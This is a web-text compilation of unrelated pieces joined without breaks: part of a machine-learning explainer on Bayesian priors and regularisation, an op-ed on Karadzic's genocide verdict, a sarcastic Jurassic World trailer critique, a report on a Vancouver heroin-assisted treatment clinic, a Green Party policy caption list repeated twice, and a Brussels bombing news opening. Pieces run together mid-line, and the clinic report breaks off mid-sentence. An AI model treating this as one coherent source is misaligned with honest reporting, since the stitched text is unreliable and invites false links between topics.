“The Bayes” gave us another equation introducing a relation between what people call “posterior” and “prior” distribution and the likelihood (disguised as a probability):
The prior is when you haven’t seen any data about your problem and yet you have to choose some initial parameters for your model (you must start somewhere), how do you do that? Well, you can at least sample your parameters from a distribution reflecting your educated guess or sample from the uniform distribution reflecting a random choice.
The posterior is the new probability distribution of those parameters now that you’ve seen the data: you’ve experienced new things, you can adjust your knowledge.
Let’s look at the Bayes formula:
The Bayes formula
On the left, there is the posterior (be careful! this is not the likelihood), on the top right there is the likelihood and the prior.
Notice, on the bottom right, that the probability of a dataset given a model is a constant in respect to thetas so we can ignore it in the optimisation process. If we redo the set of calculus we’ve done before, it gives us what one calls the MAP (the Maximum A Posteriori) :
Making the regularisation terms appear in our optimisation formula
A new term appears in our optimisation formula! This little term is what people call the regularisation term, it takes into account your “prior” knowledge of the problem.
For example, if you initialised your thetas from a Gaussian distribution (means of 0, variance of 1) you would end up with an L2 regularisation on theta. Try it and be amazed!
Notice that if we sample our thetas from the uniform distribution, the added term becomes a constant so we can get back to maximising the likelihood.
Remark 3
Notice how engineering problems pushed us to find better notations or better optimisation procedures, surprisingly in machine learning, the basic probability theories are often not that complicated to grasp but the engineering feat to make them actually work are insane.
Just look at this new paper introducing a Self Normalising Neural Networks, 80 pages of mathematical calculus and demonstration just to get rid of an engineering problem called vanishing/exploding gradient in feedforward networks. That’s insane!
Going further
I won’t dive into this but one could wonder what happens if we stop fixing the hyperparameters of “m”. In this case, one could rewrite our first equation as:
The general formula including hyperparameters
With f_m (family of model) is now the only new fixed hyperparameter. All the “eta” representing the hyper-parameters of the model. Now, one can try to find an optimisation algorithm taking into account those “eta”. The main problem is usually that all hyperparameters are not in the same mathematical space (integers vs reals numbers, etc…) and so you must mix optimisation techniques.On Thursday, a 65-year-old man with a name that Americans struggle to pronounce was convicted of committing genocide 20 years ago in Bosnia. With bombs exploding in Brussels and a vituperative U.S. presidential campaign in full force, the court ruling might seems obscure.
But the story of Radovan Karadzic, a psychiatrist turned genocidal mini-state leader, provides lessons for Barack Obama, Hillary Clinton and Donald Trump. The moral of Karadzic’s story is simple for current and future American presidents: beware the empty threat.
Karadzic, with his long mane of hair and hawkish nose, was the public face and political leader of a hardline group of Bosnian Serbs following the collapse of Yugoslavia in the early 1990s. When I covered him during the final year of the war in Bosnia, he was known for his ability to evade questions.
When a shell landed in the middle of a teeming market in Sarajevo, killing scores of Bosnian Muslims, Karadzic insisted that the Bosnian Muslims had fired it themselves to garner sympathy. When Bosnian Serb snipers fired on unarmed women and children, he denied it as well.
“Children were sniped at while playing in front of their houses, walking with their parents or walking home from school,” Judge O-Gon Kwon said on Thursday, while reading the verdict of the International Criminal Tribunal for the former Yugoslavia against Karadzic.
The strange thing about covering Karadzic during the war was seeing him change. With each empty declaration from President Bill Clinton that Karadzic would be held accountable, the Bosnian Serbs seemed to grow more confident and defiant.
Over the course of the war, the Bosnian Serbs “ethnically cleansed” – or expelled – hundreds of thousands of Muslims from their territory. They took UN peacekeepers hostage. And in July 1995, they took the town of Srebrenica and executed every Bosnian Muslim man and boy they captured. All told, 8,000 perished.
Clinton’s unfulfilled threats, it seemed to me and other reporters at the time, had emboldened Karadzic and the mini-state’s military leader, General Ratko Mladic. And Srebrenica itself was, tragically, the physical embodiment of false promise.
With the support of the United States and its European allies, the United Nations had declared Srebrenica a “Safe Area” and stripped its Bosnian Muslims defenders of artillery and heavy weapons. But instead of posting several thousand, heavily armed UN peacekeepers to protect the town, several hundred Canadian and then Dutch peacekeepers arrived with white vehicles, blue helmets and a few machine guns.
When the Serbs attacked, Dutch defenses quickly collapsed and promised NATO air strikes never arrived. Karadzic and Mladic were left to do as they pleased.
“The accused was the sole person within the RS [Bosnian Serb government] with the power to intervene to prevent the Bosnian Muslim males from being killed,” Judge Kwon said as he declared Karadzic guilty of genocide in Srebrenica.
Twenty years after the mass killings, threats from current and future U.S. presidents seem to be equally unpersuasive. In a recent profile in the Atlantic, Obama boasted about the fact that he had not carried out his vow to bomb the forces of Bashar al-Assad if the Syrian leader used chemical weapons against his own people.
“I’m very proud,” Obama told the magazine.
Hillary Clinton, meanwhile, is promising American voters that she will unleash a merciless, multi-year onslaught against ISIS — without deploying large numbers of American ground troops.
“We are in it for the long haul and we will stand taller and stronger than they could possibly imagine,” Clinton vowed in a campaign speech in December.
And Donald Trump is threatening everyone. He vows to place tariffs on every good sold from China – as well as air conditioners that U.S. company Carrier manufactures in Mexico.
“We’re going to tax you,” Trump vowed in a presidential debate last month. “So stay where you are [in Mexico] or build in the United States.”
The lesson for U.S. presidents is that threats can come back to haunt. Clinton responded far more quickly to Serb attacks in Kosovo in 1999, but has said that Srebrenica was one of the greatest regrets of his presidency. It is a distant second with the genocide in Rwanda, where as many as one million perished after the UN failed to protect civilians there.
In hindsight, it is arguably better for American leaders to say nothing when they have no intention of taking action. Issuing hollow threats emboldens extremists. It does not cow them.
And most tragically, as the survivors of Srebrenica found out, empty threats from a U.S. president also victimize the innocent people who believe them. Today, thousands of women from Srebrenica are growing up without fathers, brothers and sons. Their crime? Believing the word of an American president.There are two truths that must be acknowledged before we begin this exercise in pointlessly trivial sniping. First, it’s never fair to judge a film solely on the merits of its trailer. Especially these days—especially for would-be blockbusters—when previews exist largely as viral “events” jostling for attention among the 10,000 other snackable videos screaming content at you, there’s simply no room for nuance. Every explosion and explosion-related quip is served up at maximum volume; its only goal is to provide the kind of bludgeoning thrills that provoke retweets with reaction GIFs. To exact some sort of analysis or draw a sweeping conclusion based on two minutes of footage from a two-hour film is extremely ungenerous, and it suggests a cynical eagerness to shit on something that has not yet proven itself worthy of being shat upon.
Secondly, Jurassic Park is dumb. It is the extremely entertaining kind of dumb that the movies were made for, yet it is dumb nonetheless. Even in a pop culture landscape littered with high-concept claptrap based on bad science or a total disregard for its existence, the idea of an amusement park filled with dinosaurs genetically cloned from old mosquitoes just chilling in amber is a preposterous premise that any 11-year-old could “wait, what?” into oblivion. It’s to both author Michael Crichton and Steven Spielberg’s enormous credit that they were able to spin it into something where you’re having too much fun to even think about it—that you’re actively annoyed when people try to make you, because it’s a dinosaur theme park, you joyless asshole. Just let us have this.
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With all that said, the trailer for Jurassic World: Fallen Kingdom is exceptionally dumb. Like its predecessor, it fulfills the base-level expectations for any Jurassic Park film: There are dinosaurs, and people who don’t want to be eaten by dinosaurs. In some respects, this is all we need. The $1.52 billion gross for the first Jurassic World would confirm that this is true. Jurassic World is now the third-most successful movie of all time, even though no one remembers a damn thing about it other than there were dinosaurs and people running from those dinosaurs, and that one of them was Bryce Dallas Howard in high heels. You may also recall some sort of scene where Chris Pratt leads a velociraptor motorcycle gang that you possibly hallucinated. More than likely, you remember the flood of articles—like this one!—nitpicking its myriad disappointments more than the movie itself.
And yet, it made a shit-ton of money, so here we are. So let’s look at what Jurassic World 2 is volleying to counter all those ultimately irrelevant criticisms, then filter it through yet more futile nitpicking.
“Who are you dating now… a ventriloquist? You love a dummy.”
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Ah, there’s more of that old Tracy/Hepburn/algorithm banter that we dimly recollect from Jurassic World’s central relationship. Remember how Howard’s icy career woman Claire and Pratt’s muscly vest-man Owen kind of hated each other, but then, after numerous scenes where everyone else almost got eaten by dinosaurs, they realized they were both the only viable sexual partners left in the film? Surprisingly, the bond they forged when they both finally opened up about how much they love not dying doesn’t seem to have carried over to the sequel, so we get to relive their strained will-they-or-will-they all over again. Subplot satisfactorily established! Let’s get back to the island where we sexily almost died!
“A rescue op? Save the dinosaurs from an island that’s about to explode?”
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Every Jurassic Park sequel must grapple with making this justification: Why would anyone fuck with these dinosaurs again after they have proven demonstrably that they are dinosaurs? The original sequels worked around this by setting up the need to go back for people, whose folly is that they chose to ignore this basic fact. Jurassic World made that ludicrous, illogical hubris the whole point, and not without a little meta self-loathing.
Jurassic World 2 gives us... a volcano.
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It’s an active volcano that John Hammond, apparently sparing at least some expense, just kinda shrugged off when he decided to make it the prime real estate for his massive theme park pivoting around a delicate science experiment. And now that volcano is erupting, threatening the lives of every dinosaur left on the island by the many people who have fled it.
Here is the proper response to that: “Good! I vaguely remember almost being eaten by those dinosaurs—who, again, are dinosaurs—and there is a long, documented history of them doing that sort of thing to other people. I think we’ve seen repeatedly that any control we think we exert over them is a delusion, and if I may be pedantic for a moment, it was a mistake to make them in the first place. We went against nature, and now nature is volunteering to sort that out for us. We should totally let it. Now, back to our sexy-funny bickering. Are you dating a house? Because I know you like a doormat.”
But here is Pratt’s actual response: “What could go wrong?” [Wink-wink, honk honk, wiggily-wiggily sitcom spinning thing, smash cut to Pratt on island screaming, “It’s all going wrong!”]
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“Blue’s alive!”
Oh right, Pratt has a little pet dinosaur that he loves. Did you remember that he had a little pet dinosaur? Anyway, her name is Blue and he loves her. She used to sniff his hand! Gotta get Ol’ Hand-Sniffing Blue. Back to Dinosaur Murder Island, now with volcanoes!
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“Do these animals deserve the same protection as other species, or should they just be left to die?”
This rhetorical question, drawled by some faceless Senator Tobaccy before the congressional subcommittee on Should We All Be Killed By Dinosaurs?, is meant to embody the overarching philosophical theme behind Jurassic World 2. “A mistake made a long time ago just can’t be undone,” said writer Colin Trevorrow of that central idea, while asserting that it would be a “parable of the treatment animals receive today.” When it really comes down to it, this is about ethics in dinosaur-ism.
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The answer is, of course, fuck no, they don’t, and yes, they absolutely should—and furthermore, mistakes can absolutely be undone, preferably by a huge, cleansing fire. These are artificial, God-defying animals that shouldn’t exist, whose most established traits are that they cannot be contained and eat people. The idea that you have nevertheless forged some sympathy for these misbegotten abomination—Howard’s character, whose most established trait was underestimating just how much dinosaurs want to eat her, is now apparently the leader of the “Dinosaur Protection Group”—all of that doesn’t change the fact that dinosaurs patently do not give a shit about your politics. They will eat you and shit out your Coexist shirt.
And yet, you saw that Sarah McLachlan commercial with the puppy-eyed brontosaurs and now you feel bad, so we’re off to the hot lava fields where dinosaurs run rampant, hoping to coax them into coming with you somewhere else—presumably somewhere that is not a remote island, where there is no ecosystem already in place to sustain them, and that is much, much closer to even more delicious people. It’s a moral victory, they can tell themselves as they’re being torn apart by dinosaurs.
Well, it’s at least an attempt at giving this film the patina of being about bigger ideas. “[It will not be] just a bunch of dinosaurs chasing people on an island. That’ll get old real fast,” Trevorrow also said.
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“Run! Run!”
Anyway...
Hey look, it’s Jeff Goldblum!
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In need of an expert opinion on what dinosaurs are and whether they’re bad, the court calls upon one Dr. Ian Malcolm, who [checks records] was almost killed by them a couple of times. You love and definitely remember Ian Malcolm: He does math! His entire role in the original Jurassic Park was to act as the charmingly cynical math-guy inspector for the insurance company who was a bit cautious about backing a dinosaur theme park, so they hired him to tag along and point out all the ways that bringing dinosaurs back from the dead, then tossing people into their cages might be, ah, dangerous. Presumably, Sam Neill’s Alan Grant made good on that threat to commit suicide, taking every living paleontologist with him, because the only one left to weigh in on dinosaurs in Jurassic World 2 is the guy who mostly lounged about making snarky quips in his strategically unbuttoned leather. Here’s a new one:
“These creatures were here before us. And if we’re not careful, they’re gonna be here after.”
Thanks for your testimony, Doc! Indeed, dinosaurs were here before us. This is why you get paid the big mathematician bucks.
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Really, every Jurassic Park sequel should be the same thing: A new group of strangers approach Jeff Goldblum and suggest they’re thinking about going to Jurassic Park, and Goldblum says, “Are you nuts? Don’t go there. A bunch of dinosaurs live there, and dinosaurs like to kill people. Believe me, I know,” and then the strangers go, “Ohhhhh, right.” Honestly, the franchise’s legacy would be about the same.
Also, how much does Goldblum clearly not give a shit about what he’s called in interviews a completely excisable “sprig of parsley” of a cameo? He looks like he wandered over between Apartments.com shoots; he didn’t even bother to shave his Jeff Goldblum-concealing beard. The trailer is also half taken up by him regurgitating his “Life finds a way” monologue like he just got interrupted at dinner. There is zero chance he has more than about 60 seconds of screen time.
But at least there’s this other stuff you recognize!
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Remember how excited you were in Jurassic World when the kids whose parents were maybe getting divorced or whatever, who cares, found the old Jurassic Park Jeep and the night-vision goggles, and then John Williams’ theme played and suddenly your own parents were back together and you were 12 again and everything was taken care for you and you didn’t have to go to work anymore and you could just play Nintendo?
Well, here Pratt reunites with Blue in what looks like the original film’s T-Rex paddock, in front of what is probably the wreckage of the Jeep from that movie! And then Pratt, Howard, and newcomer Justice Smith—who plays a young, open-mouthed scientist—are chased by a rampaging herd of dinosaurs in a scene reminiscent of that film’s “flocking Gallimimus” sequence! And then, as they huddle around one of those hamster balls from Jurassic World that you also remember but frankly, don’t particularly feel one way or the other about, they’re nearly attacked by a dinosaur—only for the T-Rex to suddenly swoop in and save them, exactly like Jurassic Park’s big climax!
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He even does his big hero’s stance with the trumpeting roar and everything! “Roaaaaarrrryou’reyoungagainandtheworldisn’tyourproblem!” One ticket, please!
Claire has boots now!
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All right, everyone? She put on some boots. Everybody shut up.
Some military bullshit
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Do you also vaguely recall that Vincent D’Onofrio turned up in Jurassic World as some sort of military guy who wanted to make super dino-soldiers and then gave lots of windy, macho speeches about war and nature and the evolutionary supremacy of the goatee? Well, anyway, there’s some more military bullshit in this, it looks like. Hey, maybe someday they’ll finally get around to making that human-dinosaur hybrid super-soldier concept they’ve been dancing around for the past decade.
Or maybe that’s where there is headed? Trevorrow himself has said the trailer only covers the first 57 minutes of the film, leaving an entire half in which that could potentially be explored—or anything else along the lines of what Trevorrow has hinted will involve the idea of dinosaur technology going “open-source,” ostensibly leading to yet more dinosaurs being created by yet more corporate opportunists, then eating the people who realize too late that it was a bad idea. Of course, this, too, would raise the question of why anyone would spend one minute—let alone 57 of them—traipsing across a volcano trying to rescue a bunch of dinosaurs when anybody can just make more of them, and the only way to stop that is to, you know, not. But then, Jurassic Park was never really about satisfying answers. It was always about the friends we made along the way to being eaten by dinosaurs.
And also, it’s just a trailer—one that doesn’t even touch on the film’s third act. There’s still every chance that, ah, life will find a way toward redeeming this dumb, pandering two-minute preview that I just spent 2,000 words grousing about. Either way, it will make a billion dollars.VANCOUVER, British Columbia — The Providence Crosstown Clinic is decorated with posters espousing the sort of medical advice you might expect at any other doctor’s office: Cover your cough, wash your hands, don’t use antibiotics to treat the flu, and ask staff if you need any help.
In the main treatment room, a familiar smell of rubbing alcohol lingers in the air — the kind of scent I associate with getting a vaccine shot. At Crosstown, the smell is the remnants of the medicine that 130 to 150 patients inject themselves with multiple times a day at the clinic.
Except the injection here isn’t a vaccine. It’s medical-grade heroin.
A clinic where patients use heroin may sound shocking and irresponsible, particularly now, as a deadly and devastating opioid epidemic ravages North America. But this approach is meant to treat the victims of that epidemic.
The idea is this: If some people are going to use heroin no matter what, it’s better to give them a safe source of the stuff and a safe place to inject it, rather than letting them pick it up on the street — laced with who knows what — and possibly overdose without medical supervision. Patients can not only avoid death by overdose but otherwise go about their lives without stealing or committing other crimes to obtain heroin.
And it isn’t some wild-eyed theory; the scientific research almost unanimously backs it up, and Crosstown’s own experience shows it can make a difference in the lives of people who use drugs.
Related How to stop the deadliest drug overdose crisis in American history
“People are forced into the illicit stream of opioids because they can’t get legal access to meet their opioid needs,” said Scott MacDonald, Crosstown’s head physician. “So they will access whatever is available and least expensive.”
Crosstown represents an international move toward providing a full spectrum of care for people who are addicted to drugs. It isn’t a first-line defense against opioid addiction, and it’s not going to solve the crisis by itself. But for a fraction of people suffering from opioid addiction (maybe about 10 to 15 percent of them), other treatments won’t produce good results, almost certainly leading them to relapse — and possibly overdose and die.
To combat this cycle, Crosstown offers opioid addiction patients medical-grade heroin (called “diacetylmorphine”). Under supervision, nurses are at the ready with the overdose antidote naloxone and oxygen tanks in case of an emergency. These patients are the people for whom other treatments have failed. It’s a last resort. And it works.
Since 2011, the clinic has seen about 200 patients. None of them, MacDonald said, have died under the clinic’s supervision. In fact, as far as he can tell, no one has died at any prescription heroin facility due to an overdose — not in Canada, Switzerland, Germany, or the Netherlands.
“So relatively safe,” I said.
“Yes,” MacDonald said. “Well, not even relatively. It’s safe.”
Heroin-assisted treatment has been used in the UK since 1926. But it’s gained more international attention in the past couple of decades thanks to Switzerland’s embrace of it in the 1990s. Twenty-one clinics there (and a prison program) now deploy the treatment. Due to the opioid epidemic, the approach is now getting more attention in the US — MacDonald even testified in front of Congress last year.
But Crosstown is still the only clinic of its kind in North America. And despite its success, the concept of a full spectrum of addiction care, including heroin-assisted treatment, isn’t even close to reality in the US — which is experiencing its deadliest drug overdose crisis in history and which, report after report has found, often doesn’t offer even the bare minimum of addiction care. A clinic like Crosstown, though, provides a beacon for how the country can move forward as it tackles its opioid epidemic.
Crosstown’s lifesaving work
A line of about a dozen patients quietly formed at the door to the injection room at Crosstown. One of them approached MacDonald as I stood to the side. “Thank you for saving my life,” he said.
As MacDonald and I shuffled through patients to his office, I asked him how often this sort of thing happens. “Daily,” he said.
Crosstown is run like a standard doctor’s office. Outside the injection room, clients patiently sit in waiting rooms, chatting about their families, getting and keeping a job, and, of course, their drug treatment. It’s a typical clinical setting, aside from the people injecting heroin just a few steps away.
When it’s their turn, patients will line up, go into the injection room, get the drug prescribed to them, and inject it. The room is surrounded by mirrors that make it impossible to hide from your own image — and, helpfully for staff, make it hard for patients to do anything without getting caught, like smuggle drugs out of the room.
When they’re done, the patients move on with their days — to the kind of school, work, and family that just about any other person can expect to have.
The clinic has been open since 2011, residing in a downtown building that used to be a bank (as the old-timey vault in Crosstown’s basement shows). Although the concept of heroin-assisted treatment has been around for decades, the recent opioid crisis has led Canada — and particularly British Columbia — to step up the work, with Prime Minister Justin Trudeau enacting rules in 2016 to potentially expand the treatment.
In 2015, the latest year with data, drug overdoses killed more than 52,000 people in the US, and more than 33,000 of those deaths were linked to opioids. The total drug overdoses dwarf car crashes (more than 38,000 deaths in 2015), gun deaths (more than 36,000 that year), and even HIV/AIDS at its peak (more than 43,000 in 1995).
Canada and particularly Vancouver haven’t been spared. As I heard repeatedly while visiting the city in April, there were nearly 1,000 drug overdose deaths in British Columbia in 2016 — an unprecedented death toll in a province of around 4.7 million people. Vancouver’s city officials say the clinic is part of their comprehensive approach to the growing drug crisis.
“For people who are in care with us, we’ve not had a single opioid overdose death,” MacDonald said. “We’re like a bubble immune to this — at least, knock on wood, today.”
Even within the context of the opioid epidemic, recent events had made approaches like Crosstown’s more urgent. City officials estimate that more than 80 percent of the heroin bought in the streets is now contaminated with deadlier, more potent opioids like fentanyl and its analogs. On the street, someone might unknowingly shoot up these drugs, which their tolerance can’t handle, and overdose. But in a clinical setting like Crosstown, doctors and nurses can ensure the heroin they supply is not laced with these chemicals.
As Maryland-based drug policy experts Bryce Pardo and Peter Reuter wrote in a recent editorial in the Baltimore Sun, “Heroin-assisted therapy addresses the immediate overdose threat posed by fentanyl — something naloxone attempts to do after the fact. Prescribed heroin use in a clinical and supervised setting ensures that users are not consuming fentanyl and that staff are on hand should something go wrong.”
Vancouver offers a glimpse at how this would work in North America. And so far, it’s working very well.
A patient’s lifelong struggle — until now
One Crosstown patient, John Pinkney, can trace his drug use back to the age of 6, when he was first prescribed Ritalin. By his 20s, he was using heroin and other street drugs. Now in his late 50s, he says his life is in a much better place. He has a part-time job. He brags about owning a television and furniture — the kinds of things others might take for granted, but were hard-fought for someone struggling with drug addiction.
“I have a two-bedroom apartment,” Pinkney said. “I have things. I got my TV and my pet and living room furniture and bedroom furniture. You know, it’s like I got my life back.”
None of this, he said, would be possible for him without the Crosstown Clinic.
Pinkney laughed nervously as he retold his story. He was an orphan, passed around from home to home until at around 8 years old he ended up with “a middle-class, government family” in Edmonton, Canada. His mom was abusive — chasing him around the house, beating him, and at one point even threatening him with a knife.
Around age 14, Pinkney ran away from home — “too much violence,” he said — and was cut off from his Ritalin prescription. Despite attempts to buy it off the street, the lack of a steady prescription, he said, made him feel like he was “missing something.” In his 20s, he filled that void with illicit substances like heroin.
He eventually ended up in prison for several years, following a series of robberies for money to buy drugs.
Pinkney heard of the Crosstown program a few years ago from his brother-in-law, who also uses heroin. Pinkney — along with his wife, who also used heroin — decided to check it out. It changed his life.
“Within the first month and a half, I was able to go back to school,” Pinkney said. “Just by the mere fact of coming here, I didn’t have to worry about where my money was going. I didn’t have to go spend all my money on drugs.”
This proved a massive change for Pinkney. Previously, he estimates he and his wife were spending $500 a day on drugs. To pay for that, his wife “worked the street,” and he, for some time, stole and scavenged trash cans and dumpsters (“binning”) for things to sell. When they became patients at Crosstown — which is covered by government-provided insurance — they both were able to stop doing illegal or unsafe work to buy drugs.
Pinkney now feels like his life is on track. He works a part-time job as a security guard at an apartment building, and he gets disability insurance. He also regularly talks to media about his experience, fashioning himself as an advocate for heroin-assisted treatment. Last year, he injected his prescription heroin in front of thousands of live viewers for the New York Times.
Heroin-assisted treatment is an option for those with the most severe opioid addictions. We are at the Providence Health Care’s Crosstown Clinic in Vancouver to see how it works. NYT reporter Nilo Tabrizy is with John Pinkney, a patient receiving this treatment, and the clinic’s lead physician, Dr. Scott MacDonald, to find out more about the program. Comment with your questions and Nilo will ask some. (Warning: This video may include graphic imagery.) Posted by The New York Times on Friday, December 30, 2016
Above all, though, Pinkney is proud that his life is fairly normal now. That doesn’t mean the treatment is easy. He comes to the clinic three times a day for heroin — in the morning, in the afternoon, and at night. This is typical: The drug’s effects wear off quickly, so patients often need to go back to it multiple times a day to avoid withdrawal.
Yet even two or three visits a day may not be enough for some, so the clinic offers some patients a dose of methadone, an opioid often used in medication-assisted treatment, in their evening session so they can get through the night before their morning session.
For Pinkney, this busy schedule isn’t too much of a burden. And even if it were, the alternative — going back to hustling for drugs that might be laced with more lethal chemicals — is worse.
“When you look at the social consequences of that, it’s far superior going at this route than going the other route,” he said.
Before starting heroin-assisted treatment, Pinkney tried Alcoholics Anonymous and Narcotics Anonymous. He tried Christian-based treatment centers. Even methadone didn’t work for him. So he continued using heroin, even while on methadone.
After decades of struggles, Crosstown gave him a much-needed way out.
The research shows heroin-assisted treatment works
The idea of treating opioid addiction with opioids isn’t new. For years, doctors have prescribed the opioids methadone and buprenorphine to get people off more dangerous opioids like heroin and traditional painkillers. When taken as prescribed, methadone and buprenorphine eliminate someone’s cravings for opioids and withdrawal symptoms — to help avoid relapse — without producing the kind of euphoric high that heroin or more traditional painkillers can.
These drugs, used in medication-assisted treatment, are largely considered the best form of care for opioid addiction. The research on this point is, frankly, indisputable, with public health groups like the Centers for Disease Control and Prevention, the National Institute on Drug Abuse, and the World Health Organization all acknowledging methadone and buprenorphine’s medical value.
Medication-assisted treatment doesn’t work for everyone, though; up to 40 percent of people addicted to opioids don’t respond well to methadone or buprenorphine. Pinkney complained of bone aches on methadone, while MacDonald noted that some patients feel symptoms such as nausea, headaches, and fatigue. For others, even high doses of these drugs are simply ineffective.
“When treating any medical condition, no one substance will work for everybody,” MacDonald said. “Methadone and Suboxone [buprenorphine] are great treatments. They work for many people. But what are we going to offer those folks [they are] not working for, continue using illicit opioids, [and] are forced into crime in order to get the medication that they need?”
For some of these patients, heroin-assisted treatment can help.
Researchers credit the European programs with better health outcomes, reductions in drug-related crimes, and improvements in social functioning, such as stabilized housing and employment. Canadian studies also deemed prescription heroin effective for treating heavy heroin use. A review of the research — which included randomized controlled trials from Switzerland, the Netherlands, Spain, Germany, Canada, and the UK — reached similar conclusions, noting sharp drops in street heroin use among people in the treatment.
One of the Canadian studies, the results of a randomized controlled trial published in the New England Journal of Medicine, put the promise of heroin-assisted treatment this way:
In this trial, both diacetylmorphine [heroin] treatment and optimized methadone maintenance treatment resulted in high retention and response rates. Methadone, provided according to best-practice guidelines, should remain the treatment of choice for the majority of patients. However, there will continue to be a subgroup of patients who will not benefit even from optimized methadone maintenance. Prescribed, supervised use of diacetylmorphine appears to be a safe and effective adjunctive treatment for this severely affected population of patients who would otherwise remain outside the health care system.
As the study notes, the treatment is typically available as a kind of second, third, or last resort — for patients who just haven’t had success with other kinds of care.
“There are some people who are going to — no matter what — just continue to inject,” David Juurlink, a doctor who studies the opioid epidemic at the University of Toronto, told me. “These are people who are literally waiting to die if they don’t have access to a supervised consumption facility.”
The approach is not without detractors. The International Task Force on Strategic Drug Policy, for one, argues that programs like Vancouver’s “promote the false notion that there are safe or responsible ways to use drugs.” The group argues that this kind of program — and other harm reduction strategies — weakens the social stigma against drugs, leading more people to try and use these dangerous substances.
But the danger here isn’t whether someone is using drugs; most Americans, after all, use caffeine or alcohol regularly throughout their lives with few problems. Drug use transforms into addiction, according to the definition provided by the Diagnostic and Statistical Manual of Mental Disorders, when using drugs begins hurting someone’s function — by, for example, leading them to steal or commit other crimes to obtain heroin, or, in the worst case scenario, death.
Heroin-assisted treatment relieves this problem: It gives patients a safe place to get their heroin without resorting to bad behaviors.
Still, experts and those involved in Crosstown emphasize it’s not a first-line treatment. For instance, MacDonald said Health Canada, which covers the care provided at Crosstown for some patients, requires a laundry list of qualifications for coverage: 18 years or older, at least five years of opioid use, regular illicit opioid use in the past year, current use of illicit opioids, physical or psychological complications as a result of opioid use, and previous attempts to get drug treatment, particularly medication-assisted treatment like methadone or buprenorphine.
So even if this treatment method spreads throughout North America, it’s never going to be a matter of just walking into the clinic and getting some heroin — as can happen at “medical” marijuana dispensaries in the US today.
Also, clinics like Crosstown aren’t just about supplying heroin; they offer a chance to link people to other forms of aid, including social workers, other |
at the top of companies to pay at the bottom Getty 3/13 Pensions End pensioner poverty by introducing a weekly “citizen’s pension” of £170 for a single person and £300 for a couple Getty 4/13 Energy Targets and timetables for improving efficiency and reducing greenhouse-gas emissions across all sectors. Wants electricity use to be reduced by a third by 2020, by half by 2030 and two-thirds by 2050 REX FEATURES 5/13 Health Accuses Labour and Tory governments of introducing privatisation by stealth into the NHS. Pledges to “maintain a publicly funded, publicly provided health service” Getty 6/13 Education Money would be allocated to schools according to their needs rather than their status. Schools which remain in the private sector would be classed as businesses, have all charitable status removed and pay taxes Getty 7/13 Railways Bring railway network back into public hands as franchises expire or if companies break the terms of their agreements Getty 8/13 Immigration Rules would be “based on the principle of fair and prompt treatment of applicants rather than on excluding dishonest applicants whatever the cost to the honest ones” Getty Images 9/13 Food Minimise transport of food and other agricultural products by supporting local food distribution and pressing for transport costs, especially air freight, to fully reflect environmental impact Creative Commons 10/13 Farming Phase out all “factory farming” and support a transition to small, free-range units, mixed rotational farming and extensive grazing. Would ban battery farming of poultry Getty 11/13 Genetic engineering Moratorium on the release of genetically modified organisms (GMOs) into the environment and on the importation of food and feed containing GMOs, pending comprehensive assessment of the technology’s safety Getty 12/13 Cannabis Possession, trade and cultivation of cannabis would be immediately decriminalised. Trade in cannabis would be examined by a Royal Commission, with a view to establishing a fully legalised and regulated trade Reuters 13/13 Housing Reform housing benefit to give greater help to poorer tenants and to prevent eviction or repossession of either private tenants or homeowners Getty 1/13 Taxes Wealth tax of up to 2 per cent on the assets of 300,000 people who are worth more than £3m, the country’s richest 1 per cent Corbis 2/13 Wages National minimum wage to be lifted to living-wage levels and to reach £10 an hour by 2020. Would also “curb boardroom excesses” by linking salaries at the top of companies to pay at the bottom Getty 3/13 Pensions End pensioner poverty by introducing a weekly “citizen’s pension” of £170 for a single person and £300 for a couple Getty 4/13 Energy Targets and timetables for improving efficiency and reducing greenhouse-gas emissions across all sectors. Wants electricity use to be reduced by a third by 2020, by half by 2030 and two-thirds by 2050 REX FEATURES 5/13 Health Accuses Labour and Tory governments of introducing privatisation by stealth into the NHS. Pledges to “maintain a publicly funded, publicly provided health service” Getty 6/13 Education Money would be allocated to schools according to their needs rather than their status. Schools which remain in the private sector would be classed as businesses, have all charitable status removed and pay taxes Getty 7/13 Railways Bring railway network back into public hands as franchises expire or if companies break the terms of their agreements Getty 8/13 Immigration Rules would be “based on the principle of fair and prompt treatment of applicants rather than on excluding dishonest applicants whatever the cost to the honest ones” Getty Images 9/13 Food Minimise transport of food and other agricultural products by supporting local food distribution and pressing for transport costs, especially air freight, to fully reflect environmental impact Creative Commons 10/13 Farming Phase out all “factory farming” and support a transition to small, free-range units, mixed rotational farming and extensive grazing. Would ban battery farming of poultry Getty 11/13 Genetic engineering Moratorium on the release of genetically modified organisms (GMOs) into the environment and on the importation of food and feed containing GMOs, pending comprehensive assessment of the technology’s safety Getty 12/13 Cannabis Possession, trade and cultivation of cannabis would be immediately decriminalised. Trade in cannabis would be examined by a Royal Commission, with a view to establishing a fully legalised and regulated trade Reuters 13/13 Housing Reform housing benefit to give greater help to poorer tenants and to prevent eviction or repossession of either private tenants or homeowners Getty
MS Bennett was challenged about the policy on the show and asked whether the party would make it legal for people living in Britain to join brutal terrorist groups such as Islamic State (also known as Isis).
UK terrorism laws currently state that belonging to any of the identified terrorist organisations, such as al-Qaeda or Isis or the IRA, or appearing to support them, is illegal.
Defending Green party policy, Ms Bennett said: “What we want to do is make sure we are not punishing people for what they think or what they believe.
“Obviously actions of inciting violence, supporting violence, those are absolutely unacceptable, illegal and should be pursued to the full extent of the law.”
She added: “What we are talking about is a principle that you shouldn’t be punished for what you think. And we need to balance, we do not protect freedom by destroying it.”
Ms Bennett said it was important for the Government to defend free speech, adding that legislation which makes people’s memberships of specific organisations was outdated.
“This is part of our policy that I think dates back to the age of the ANC and apartheid South Africa,” she said.
Ms Bennett’s comments follow her strong stance on the abolition of the monarchy, and her views that the Queen should be evicted from Buckingham Palace and moved into a council house – while the party would build more social housing for people in the UK.
Ms Bennett, who said she will represent her party in two televised leaders debates under the proposals set out by broadcasters, also said the Green party would reshape the military to create a smaller home defence force and progressively ease immigration controls while on the show.
Additional reporting by PA
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Subscribe now.(CNN) Dawn broke Wednesday on a Brussels facing a new reality -- a city contorted by grief but sustained by a determination to carry on.
And it was a day, of course, when the Belgian capital -- indeed, the European capital -- was more than ever acutely aware of its vulnerability.
Two explosions Tuesday at the city's main airport, and then another at a downtown subway station, killed 31 people and injured 270 others.
"You can feel the fear on the streets today," said Souheil, 21, who was taking the train Wednesday morning to his internship at the European Commission, near where the explosion at the Maelbeek metro station detonated Tuesday. "But you can also see that people want to fight it. It's a good thing."
